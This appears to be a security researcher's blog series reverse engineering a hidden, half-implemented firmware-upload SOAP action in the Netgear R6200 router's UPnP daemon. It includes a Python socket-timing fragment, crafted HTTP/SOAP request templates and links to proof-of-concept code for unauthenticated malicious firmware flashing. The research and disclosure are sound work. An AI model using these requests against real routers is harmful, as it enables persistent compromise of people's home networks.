It is at the start of <code>sa_parseRcvCmd()</code> where we find the first hints at how the actual body of the SOAP request should be structured. At the very beginning of this function, a substring search for "<code>:Body></code>" is performed. This would find the canonical <code><SOAP-ENV:Body></code> XML tag that surrounds a SOAP message body. It would also find the non-canonical <code><HOLY-SHIT-THIS-CODE-IS-SHITTY:Body></code> XML tag. So, you know, whatever.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16184680446" style="margin-left: auto; margin-right: auto;" title="Search for Body xml tag by Zachary Cutlip, on Flickr"><img alt="Search for Body xml tag" height="251" src="https://farm9.staticflickr.com/8653/16184680446_9a6ab13d99.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Naive string search for ":Body>".</td></tr>
</tbody></table>
<br />
<br />
Once the body is located, the function loops over a table of strings, called <code>s_keyword</code>. This is the loop described earlier that checks for a series of constants on each iteration. The s_keyword table is an array of structs that are formed approximately like the following:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">k_struct</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">uint32_t</span> <span style="color: #d0d0d0;">action;</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*keyword;</span>
<span style="color: #6ab825; font-weight: bold;">uint32_t</span> <span style="color: #d0d0d0;">what_the_shit_is_this;</span>
<span style="color: #d0d0d0;">};</span>
</pre>
</div>
<br />
For each of these structures, the request body is searched for an opening and closing XML tag constructed from the corresponding keyword. If a tag is found then the keyword's corresponding action code is checked to determine the code path to take.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16201032526" style="margin-left: 1em; margin-right: 1em;" title="s_keword loop by Zachary Cutlip, on Flickr"><img alt="s_keword loop" height="391" src="https://farm8.staticflickr.com/7469/16201032526_443084cc4c.jpg" width="500" /></a></div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16210545405" style="margin-left: auto; margin-right: auto;" title="Searching Haystack for s_keyword strings by Zachary Cutlip, on Flickr"><img alt="Searching Haystack for s_keyword strings" height="465" src="https://farm8.staticflickr.com/7572/16210545405_faeae0b78a.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Perform a strstr() for the first string in the s_keyword table.</td></tr>
</tbody></table>
<br />
Inspecting the s_keyword table reveals the keyword that corresponds to the magic 0xFF3A action code: "NewFirmware".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16184680426" style="margin-left: 1em; margin-right: 1em;" title="NewFirmware in s_keyword table by Zachary Cutlip, on Flickr"><img alt="NewFirmware in s_keyword table" height="142" src="https://farm8.staticflickr.com/7557/16184680426_2104f3eb80.jpg" width="500" /></a></div>
<br />
<br />
If a <code><NewFirmware></code> tag is found inside the soap body tag, then execution proceeds to allocate memory for the decoded firmware, and then on to writing it to flash memory as discussed above.<br />
<br />
In the previous part, I made a guess at what HTTP headers would get the request into the sa_parseRecvCmd function. At this point we now have enough information to speculate as to how the body of the SOAP request should be formed.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">POST /soap/server_sa/SetFirmware HTTP/1.1
Accept-Encoding: identity
Content-Length: 102401
Soapaction: "urn:DeviceConfig"
Host: 127.0.0.1
User-Agent: Python-urllib/2.7
Connection: close
Content-Type: text/xml ;charset="utf-8"
<span style="color: #6ab825; font-weight: bold;"><SOAP-ENV:Body></span>
<span style="color: #6ab825; font-weight: bold;"><NewFirmware></span>
<span style="color: #999999; font-style: italic;"><!-- Base64-encoded firmware image goes here? --></span>
<span style="color: #6ab825; font-weight: bold;"></NewFirmware></span>
<span style="color: #6ab825; font-weight: bold;"></Body></span>
</pre>
</div>
<br />
<br />
If this guess is right, the function first looks for the opening Body tag. Then it looks for one of a variety of inner tags, NewFirmware being the one we're interested in. And inside that, hopefully, it will find our base64 encoded firmware image and will decode and write it to flash. Are we almost home free? <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-04.html">Stay tuned</a>.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-69221287731956178632015-04-30T07:59:00.002-07:002015-05-07T10:05:52.300-07:00Broken, Abandoned, and Forgotten Code, Part 2In the <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">part 1</a>, I showed how the Netgear R6200's upnpd binary contains what appears to be a hidden SOAP action related to the string "<code>SetFirmware</code>". I also showed how we can get into the <code>upnp_receive_firmware_packets()</code> function if we play timing games and send our request in multiple parts.<br />
<br />
In this part I'll describe additional timing considerations needed to avoid hanging the server. I'll also discuss sloppy parsing of the SOAP request, and I'll make some guesses as to how that request should be formed.<br />
<br />
If you're following along, the first proof-of-concept code is available. Clone my git repo from:<br />
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
Each installment in this series that has new or updated code will have a separate directory in the repository. This week's code is under <code>part_2</code>.<br />
<br />
<h4>
Receiving Firmware Bytes</h4>
The conditions I described previously are:<br />
<div>
<ul>
<li>The request should be broken up into two or more parts, with the first being no larger than 8,190 bytes.</li>
<li>"<code>Content-length:</code>" should be somewhere in the data, presumably in the HTTP headers (because this would make sense), but not necessarily.</li>
<li>The content length should be greater than 102,401 bytes.</li>
<li>The string "<code>SetFirmware</code>" should be somewhere in the data.</li>
</ul>
</div>
If those conditions are satisfied, then <code>upnp_receive_firmware_packets()</code> gets called from <code>upnp_main()</code> at 0x4144E4. In this function, a <code>select()</code>, <code>recv()</code>, and <code>memcpy()</code> loop receives the remainder of the request. This proceeds fairly sanely, with one problem.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16128626931" style="margin-left: auto; margin-right: auto;" title="upnp receive firmware select loop by Zachary Cutlip, on Flickr"><img alt="upnp receive firmware select loop" height="292" src="https://farm8.staticflickr.com/7477/16128626931_37317f8bbe.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The select() and recv() loop doesn't check for closed connections</td></tr>
</tbody></table>
<br />
If the client closes the connection immediately after sending the request, this function gets caught in an infinite loop. The cause for this is a little tricky to explain.<br />
<br />
From the <code>select(2)</code> Linux man page:<br />
<blockquote class="tr_bq">
A file descriptor is considered ready if it is possible to perform the corresponding I/O operation (e.g., <code>read(2)</code>) without blocking.</blockquote>
<br />
If the peer has closed its end of the connection, then <code>select()</code> indicates the socket is ready because a <code>recv()</code> would not block. The way Unix TCP sockets work, when the remote end of a connection closes, a <code>recv()</code> on that socket returns zero. In the loop, the return value from <code>recv()</code> is checked for errors (negative values), but if there are no errors, it is assumed that data was received, and the loop returns to <code>select()</code>. This results in the function looping indefinitely if the client shuts down the connection too soon.<br />
<br />
The only two ways this loop ever terminates are (a) if <code>select()</code> or <code>recv()</code> return an error, or (b) if <code>select()</code> returns zero, indicating a timeout with no file descriptors ready for I/O. This means the requesting client must not close the connection immediately after it has sent the request. It should send the request, and then pause before closing the connection. Sleeping a few seconds should suffice.<br />
<div>
<br />
However, there's an additional implication. Recall from before that we had to sleep 1-2 seconds in <code>upnp_main()</code> in order to get into this function. It turns out that if we slept longer, then the <code>select()</code> would time out, returning zero, and the loop would end before we had sent the rest of the request. So, while it's critical to sleep a second or two, <i>it's also critical to sleep no more than that</i>.<br />
<br />
In review, the steps should be:<br />
<br />
<ul>
<li>Send 8,190 bytes or fewer, <i>but hold the connection open</i></li>
<li>Sleep 1-2 seconds, <i>but no more</i></li>
<li>Send the rest of the request, <i>but hold the connection open</i></li>
<li>Sleep a few more seconds</li>
<li>Close the connection</li>
</ul>
<br />
<br /></div>
The following code fragment sends chunks with appropriate sizes and sleep periods to get us into <code>upnp_receive_firmware_packets()</code> and to avoid getting into an infinite loop with<code> select()</code>:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">special_upnp_send</span><span style="color: #d0d0d0;">(addr,port,data):</span>
<span style="color: #d0d0d0;">sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span>
<span style="color: #d0d0d0;">sock.connect((addr,port))</span>
<span style="color: #999999; font-style: italic;">#only send first 8190 bytes of request</span>
<span style="color: #d0d0d0;">sock.send(data[:</span><span style="color: #3677a9;">8190</span><span style="color: #d0d0d0;">])</span>
<span style="color: #999999; font-style: italic;">#sleep to ensure first recv()</span>
<span style="color: #999999; font-style: italic;">#only gets this first chunk.</span>
<span style="color: #d0d0d0;">time.sleep(</span><span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">)</span>
<span style="color: #999999; font-style: italic;">#Hopefully in upnp_receiv_firmware_packets()</span>
<span style="color: #999999; font-style: italic;">#by now, so we can send the rest.</span>
<span style="color: #d0d0d0;">sock.send(data[</span><span style="color: #3677a9;">8190</span><span style="color: #d0d0d0;">:])</span>
<span style="color: #999999; font-style: italic;">#Sleep a bit more so server doesn't end up</span>
<span style="color: #999999; font-style: italic;">#in an infinite select() loop.</span>
<span style="color: #999999; font-style: italic;">#Select's timeout is set to 1 sec,</span>
<span style="color: #999999; font-style: italic;">#so we need to give enough time</span>
<span style="color: #999999; font-style: italic;">#for the loop to go back to select,</span>
<span style="color: #999999; font-style: italic;">#and for the timeout to happen,</span>
<span style="color: #999999; font-style: italic;">#returning an error.</span>
<span style="color: #d0d0d0;">time.sleep(</span><span style="color: #3677a9;">10</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">sock.close()</span>
</pre>
</div>
<br />
<h4>
More Broken and Lazy Parsing</h4>
Once the entire request has been received, it is parsed, or "parsed" as it were, piecemeal, across several functions. The <code>upnp_receive_firmware_packets()</code> function calls <code>sub_4134A8()</code>. This function inspects the beginning of the received request (the first 1023 bytes, to be precise) for for the HTTP method. If the request is a POST, the <code>soap_method_check()</code> function is called at 0x413774.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/15508144424" style="margin-left: auto; margin-right: auto;" title="Check for POST HTTP method by Zachary Cutlip, on Flickr"><img alt="Check for POST HTTP method" height="160" src="https://farm8.staticflickr.com/7553/15508144424_0b9f8bf45f.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Checking for the POST HTTP method</td></tr>
</tbody></table>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16130479175" style="margin-left: auto; margin-right: auto;" title="Call to soap_method_check by Zachary Cutlip, on Flickr"><img alt="Call to soap_method_check" height="109" src="https://farm8.staticflickr.com/7533/16130479175_ca67bb9123.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Calling soap_method_check()</td></tr>
</tbody></table>
<br />
<br />
In <code>soap_method_check()</code> several naive <code>stristr()</code> calls search for a series of strings across the entire request buffer. Based on several of the more recognizable strings, such as "<code>Public_UPNP_C1</code>", these strings are UPnP control URLs that might be requested by the POST. Although these strings may be placed <i>literally anywhere</i> (starting to sound familiar?) in the request and still trigger their respective code paths, presumably a typical request would be structured like so:<br />
<br />
<code>POST /Public_UPNP_C1 HTTP/1.1</code><br />
<br />
One of the control URLs that is checked is "<code>soap/server_sa</code>". If that URL is found in the request, the function <code>sa_method_check()</code> is called. Note that we still don't know for certain where the UPnP daemon actually expects the "<code>SetFirmware</code>" string to be located. However, based on other, similar string references, it seems likely that this string should be part of the UPnP control URL: "<code>soap/server_sa/SetFirmware</code>".<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16129068911" style="margin-left: auto; margin-right: auto;" title="call to sa_method_check by Zachary Cutlip, on Flickr"><img alt="call to sa_method_check" height="204" src="https://farm8.staticflickr.com/7551/16129068911_82f9916c5e.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A call to sa_method_check if "soap/server_sa" is found</td></tr>
</tbody></table>
The <code>sa_method_check()</code> function loops over a list of valid strings corresponding to the "<code>SOAPAction:</code>" header, and for each string in the list performs a naive <code>stristr()</code> across the entire request buffer. The string "<code>DeviceConfig</code>", if found anywhere in the request, results in a call to <code>sub_43292C()</code>. This enormous function repeatedly calls <code>sa_findKeyword()</code>, passing it the request buffer as well as various keys to be looked up in the "<code>s_Event</code>" dictionary.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/15961823758" style="margin-left: auto; margin-right: auto;" title="graph view of sub_43292C by Zachary Cutlip, on Flickr"><img alt="graph view of sub_43292C" height="158" src="https://farm8.staticflickr.com/7485/15961823758_90281c0035.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The enormous graph of sub_43292c(). This function looks for keywords in the SOAP request.</td></tr>
</tbody></table>
<br />
<br />
The <code>sa_findKeyword()</code> function searches the request buffer for the corresponding string from the "<code>s_Event</code>" dictionary. The original "<code>SetFirmware</code>" string is referenced by the key 49. If it is found, again, anywhere in the request, the function <code>sa_parseRcvCmd()</code> is called.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16130197162" style="margin-left: auto; margin-right: auto;" title="search for SetFirmware string by Zachary Cutlip, on Flickr"><img alt="search for SetFirmware string" height="443" src="https://farm8.staticflickr.com/7530/16130197162_5b5165601c.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Repeated calls of sa_findKeyword(). Index 49 corresponds to "SetFirmware."</td></tr>
</tbody></table>
<br />
<br />
The following HTTP request headers <i>should</i>, based on what we have observed so far, get the request into the <code>sa_parseRcvCmd()</code> function.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #d0d0d0;">request=</span><span style="color: #ed9d13;">""</span><span style="color: #d0d0d0;">.join[</span><span style="color: #ed9d13;">"POST /soap/server_sa/SetFirmware HTTP/1.1\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Accept-Encoding: identity\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Content-Length: 102401\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Soapaction: \"urn:DeviceConfig\"\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Host: 127.0.0.1\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Connection: close\r\n"</span><span style="color: #d0d0d0;">,</span>
<span style="color: #ed9d13;">"Content-Type: text/xml ;charset=\"utf-8\"\r\n\r\n"</span><span style="color: #d0d0d0;">]</span>
</pre>
</div>
<br />
<br />
Forming an HTTP request that would exercise the proper code path was an exercise in guesswork due to the many naive string searches littered along the way and an absence of anything resembling structured parsing.<br />
<br />
It is in the <code>sa_parseRcvCmd()</code> function that an encoded firmware image is extracted and decoded from the request body, and assuming the right conditions are met, written to the router's flash storage, replacing the existing firmware.<br />
<br />
<div>
Up until now, it has remained at least possible, however improbable, that the vendor may have designed a client to send the magic SOAP requests and to play the timing games necessary to exercise the firmware updating functionality. In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-03.html">next part</a> I'll start discussing <code>sa_parseRcvCmd()</code>, a complicated function with lots of code paths and lots of bugs. It is also this function where it becomes even clearer that the firmware updating capability of this UPnP server is not completely implemented and cannot actually work under normal conditions.<br />
<div>
<br /></div>
<div>
</div>
</div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-26353576598414956952015-04-23T12:00:00.000-07:002015-04-30T17:09:10.596-07:00Broken, Abandoned, and Forgotten Code, Part 1<h4>
Introduction</h4>
This series of posts describes how abandoned, partially implemented functionality can be exploited to gain complete, persistent control of Netgear wireless routers. I'll describe a hidden SOAP method in the UPnP stack that, at first glance, appeared to allow unauthenticated remote firmware upload to the router. After some reverse engineering, it became apparent this functionality was never fully implemented, and could never work properly given a well formed SOAP request and firmware image. If it could work at all, it would be with only the most contrived of inputs.<br />
<br />
Someone may have thought shipping dead code was okay because an exploit scenario would be so contrived. Someone may not have considered that contrived inputs are the stock-in-trade of vulnerability researchers.<br />
<br />
In this series, I'll describe the process of specially crafting a malicious firmware image and a SOAP request in order to route around the many artifacts of incomplete implementation in order to gain persistent control of the router. I'll discuss reverse engineering the proper firmware header format, as well as the the improper one that will work with the broken code. Together, we'll go from discovery to complete, persistent compromise.<br />
<br />
<h4>
Rules of Engagement</h4>
<div>
In order to make the challenge more interesting and to more clearly demonstrate the thesis, I decided to not take advantage of any shortcuts by exploiting vulnerabilities in the broken code path. I treated all bugs I encountered along the way as hurdles to overcome. For example, there is a buffer overflow that I will describe in a future post. I could exploit this buffer overflow to subvert the flow of execution and execute shellcode that would write my firmware, but that would be cheating. The point of this project is to show that dead code can represent a powerful attack vector, even when it is non-functional.<br />
<br />
<h4>
Target Device</h4>
<div>
The device I'll be describing in this series is the <a href="http://www.amazon.com/NETGEAR-Wireless-Router-Gigabit-R6200/dp/B008HO9DIG">Netgear R6200</a> 802.11ac router. Here are some specifics about the router:</div>
<div>
<ul>
<li>Linux based</li>
<li>Little endian MIPS</li>
<li>Firmware version 1.0.0.28</li>
<li>Originally released in 2012</li>
<li>US$200 retail price when released</li>
</ul>
I only worked with the 1.0.0.28 firmware, which I believe is the original released version. I haven't looked into later versions. That will remain an exercise for the reader. I will add that as recently as January 2015, I ordered an R6200 from Amazon, and it came with firmware 1.0.0.28 installed.</div>
<br />
<h4>
I <3 UPnP</h4>
Universal Plug and Play services on SOHO routers make for a nice attack surface for vulnerability research. UPnP services are often capable of system-level modifications that are protected only by a thin veil of obscurity. When I found strings referencing "firmware" in the Netgear R6200[1] 801.11ac router's UPnP binary I knew this daemon was going to be an interesting target. Most SOHO router exploits do not offer persistence[2], owing to their read-only storage. An unauthenticated firmware upload is an opportunity to persist undetected on the gateway device for months or even years.</div>
<br />
<h4>
Firmware Unpacking and Strings Analysis</h4>
Upon unpacking the R6200's firmware, you can easily identify the UPnP daemon as <code>/usr/sbin/upnpd</code>. Source code is not available for this application, so research is an exercise in binary analysis.<br />
<br />
Initial strings analysis of the binary reveals a "<code>SetFirmware</code>" string:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16106735585" style="margin-left: auto; margin-right: auto;" title="terminal - strings upnpd by Zachary Cutlip, on Flickr"><img alt="terminal - strings upnpd" height="165" src="https://farm8.staticflickr.com/7517/16106735585_bf24551c6c.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Strings analysis on upnpd binary, showing "SetFirmware"</td></tr>
</tbody></table>
<br />
<br />
Hopefully this string is somehow related to modifying the device's firmware. Static analysis reveals how the "<code>SetFirmware</code>" string is referenced in the binary:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/15927676277" style="margin-left: auto; margin-right: auto;" title="SetFirmware reference in upnpd by Zachary Cutlip, on Flickr"><img alt="SetFirmware reference in upnpd" height="215" src="https://farm8.staticflickr.com/7477/15927676277_7bfe0dec7b.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Reference to "SetFirmware" from upnp_main()</td></tr>
</tbody></table>
<br />
As shown in the above screenshot, "<code>SetFirmware</code>" is referenced exactly once, from <code>upnp_main()</code> at offset 0x4142C4.<br />
<div>
<br /></div>
<div>
<h4>
Lazy Parsing</h4>
<div>
When upnpd receives a SOAP request, the <code>upnp_main()</code> function does the following:</div>
<div>
<ul>
<li><code>recv()</code> from a TCP socket</li>
<li>check that it received (seemingly arbitrarily) 8,190 bytes or fewer.</li>
<li>perform a lazy parse of incoming requests by performing <code>stristr()</code> string searches on the received data.</li>
</ul>
</div>
<div>
The <code>upnp_main()</code> function searches for the string "<code>Content-length:</code>" literally anywhere (wtf?) in the received data. If the value following "<code>Content-length:</code>" is greater than or equal to (again, seemingly arbitrary) 102401, as checked by <code>atoi()</code> another <code>stristr()</code> is performed, searching for the "<code>SetFirmware</code>" string. <i>Again, this string may be anywhere in the received data.</i> If the string is found, <code>upnp_receive_firmware_packets()</code> is called at 0x4144E4.</div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16111619351" style="margin-left: auto; margin-right: auto;" title="call to upnp_receive_firmware_packets() by Zachary Cutlip, on Flickr"><img alt="call to upnp_receive_firmware_packets()" height="211" src="https://farm8.staticflickr.com/7518/16111619351_833dbeace9.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A call to upnp_receive_firmware_packets()</td></tr>
</tbody></table>
<br />
<br />
<div>
It's worth noting the implication of these two size checks, the first for 8,190 or less and the second for a content length greater that 102,401. The request must either have a forged content-length header, or the requesting client must avoid sending the entire request in one operation. In the latter case, the request should send no more than 8,190 bytes, pause, then send the rest.<br />
<br /></div>
<div>
It is also worth noting that at this stage it is unclear how the "<code>SetFirmware</code>" request should be structured. It also is unclear if it should even be a SOAP request (we will proceed on the assumption that it is), or some other protocol. The only things that are known about the request are:</div>
<div>
<ul>
<li>The request should be broken up into two or more parts, with the first being no larger than 8,190 bytes.</li>
<li>"<code>Content-length:</code>" should be somewhere in the data, presumably in the HTTP headers (because this would make sense), but not necessarily.</li>
<li>The content length should be greater than 102,401 bytes.</li>
<li>The string "<code>SetFirmware</code>" should be somewhere in the data.</li>
</ul>
</div>
</div>
<br />
<div>
This is the first bug that suggests this code doesn't actually work, at least not naturally. When you <code>send()</code> a request, you should be able to send the entire request in one operation. Your operating system's TCP/IP stack (usually in the kernel) will handle chunking the data as necessary. Further, the remote host's TCP/IP stack will handle unchunking the data as necessary. These details are abstracted from userspace code, and the receiving program should be able continue receiving until the remote end has closed the connection or until some maximum allowable size has been received. We're able to work around this anomalous behavior by sending only a small chunk of the data, then sleeping before sending the rest.<br />
<br />
In the <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-02.html">next part</a>, I'll describe another bug, this time a misuse of <code>select()</code>, that <i>also</i> suggests this code never actually worked in the wild. I'll go on to describe how to make it work anyway. I'll also discuss how the broken, lazy parsing makes it difficult to know how the SOAP request should be formed such that execution follows a desirable code path.</div>
<br />
------------------------------<br />
[1] Although the R6200 was the primary device researched, preliminary analysis of other devices, including the R6300 v1, indicates presence of the same vulnerabilities described on this blog.<br />
[2] It should be noted that non-persistent exploits are attractive in their own right, as the attacker may remove all traces of the compromise from the device by merely rebooting it.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-50593317081096361372015-04-22T17:11:00.000-07:002015-04-30T17:57:45.489-07:00Broken, Abandoned, and Forgotten Code: Prologue<h3>
A Secret Passage to Persistant SOHO Router Pwnage</h3>
<div>
<br /></div>
Almost two years ago plus a house selling, a cross-country move, a house buying, a job change, and a wedding, I downloaded and unpacked the firmware for Netgear's then-new <a href="http://www.amazon.com/NETGEAR-Wireless-Router-Gigabit-R6200/dp/B008HO9DIG/ref=sr_1_1">R6200 wireless router</a>. This was one of Netgear's first entries into the nascent 802.11ac market. At around US$200 at the time, this device was at the high end of the Netgear lineup. Finding some cool vulnerabilities in some of the newest, swankiest, consumer WiFi gear would make for a neat paper, or at least a good blog post or two.<br />
<div>
<br /></div>
<div>
In June 2013, I started investigating the R6200. Right away, there were suspicious strings and code paths in the UPnP daemon that were too interesting ignore. If I was right, I would be able to flash a malicious firmware to the device from the local network without authentication. Answering the sirens' call, I spent a few weeks trying to unravel this shit-show of a daemon. I finally gave up, deciding the code I was investigating was too broken to ever actually work, and was therefore not exploitable.</div>
<div>
<br /></div>
<div>
Fast forward six months to December. Having worked through my anger from wasted weeks of work over the summer, the project was back on my mind. I decided to revisit it, this time with a new approach. My <i>original</i> approach was to reverse engineer what appeared to be a backdoor update capability. I gave up when I realized the backdoor was likely never completely implemented and could never actually work as intended. My <i>new</i> approach was to see if I could specially craft an exploit that would route around all the broken networking code and broken parsing code in order to get the router to accept my firmware without crashing.</div>
<div>
<br /></div>
<div>
Spoiler: In the end I was successful. The project had become interesting enough that I planned to write it up and submit it to a conference. But, well, life happened, and here we are nearly a year and a half later.</div>
<div>
<br />
What comes next amounts, I think, to the equivalent of a small book describing this project. Over the next 14 or so posts, I'll cover all of the various challenges involved and how I solved them, including the following:</div>
<div>
<ul>
<li>Reverse engineering the upnpd binary</li>
<li>Broken networking code and how to deal with it</li>
<li>Using <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a> to reverse engineer an undocumented firmware header</li>
<li>Unpacking, modifying, and repacking the firmware</li>
</ul>
... and many others. I plan to post about one article a week. I'll include complete, working exploit code as well as code to generate proper headers and to repack the firmware.<br />
<br />
My hope is that, with the necessary tools and a little prerequisite reversing experience, you can follow along and reproduce this project.<br />
<br /></div>
<div>
In the mean time, here's a video to give you a tease. The left window is a minicom serial connection showing you what's going on under the hood. The right window is where actual exploitation is happening.<br />
<br />
<br /></div>
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="https://player.vimeo.com/video/125468293" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="https://vimeo.com/125468293">R6200 Firmware Upload</a> from <a href="https://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<br />
<div>
Stay tuned. Hopefully it will be fun.<br />
<br />
Update: <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">Part 1</a> is up! Hope you enjoy it!</div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-26230069208208131502015-02-20T11:29:00.002-08:002015-02-20T11:29:55.381-08:00Bowcaster Feature: multipart/form-dataNeed to reverse engineer or exploit a file upload vulnerability in an embedded web server? I added a <code>multipart/form-data</code> class to Bowcaster to help with that. You can have a look here:<br />
<a href="https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/clients/http.py">https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/clients/http.py</a><br />
<br />
Here's some background:<br />
I've been reverse engineering how the Netgear R6200 web server parses a new firmware image when you use the firmware update facility in the web interface. Manually browsing to the router's web interface, then to the firmware update form, then browsing to a firmware file on disk, then clicking "upload" gets really tedious after a few times.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16404731708" style="margin-left: auto; margin-right: auto;" title="NETGEAR Router R6200 Firmware Upload by Zachary Cutlip, on Flickr"><img alt="NETGEAR Router R6200 Firmware Upload" height="308" src="https://farm9.staticflickr.com/8567/16404731708_b7c59605a3.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Updating the Netgear R6200's firmware through the web interface.</td></tr>
</tbody></table>
<br />
<br />
I wanted to use <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a>'s <code>HttpClient</code> class to do this programmatically. Unfortunately, it lacked the ability to generate a <code>multipart/form-data</code> POST body, so I added a class to help with that. I know; there are 3rd party Python modules to do this already, but I don't want Bowcaster to have any dependencies other than Python, itself.<br />
<br />
Anyway, below is an example program that uses the class to upload a firmware image, which you can get <a href="https://github.com/zcutlip/bowcaster/blob/master/doc/examples/sendfw.py">here</a> from Bowcaster's example code. In order to identify the fields that need to be populated, I manually uploaded a file through a web browser, and analyzed the POST request in Burp Suite.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ed9d13;">"""</span>
<span style="color: #ed9d13;">Example code to upload a firmware file to the Netgear R6200 firmware update form.</span>
<span style="color: #ed9d13;">"""</span>
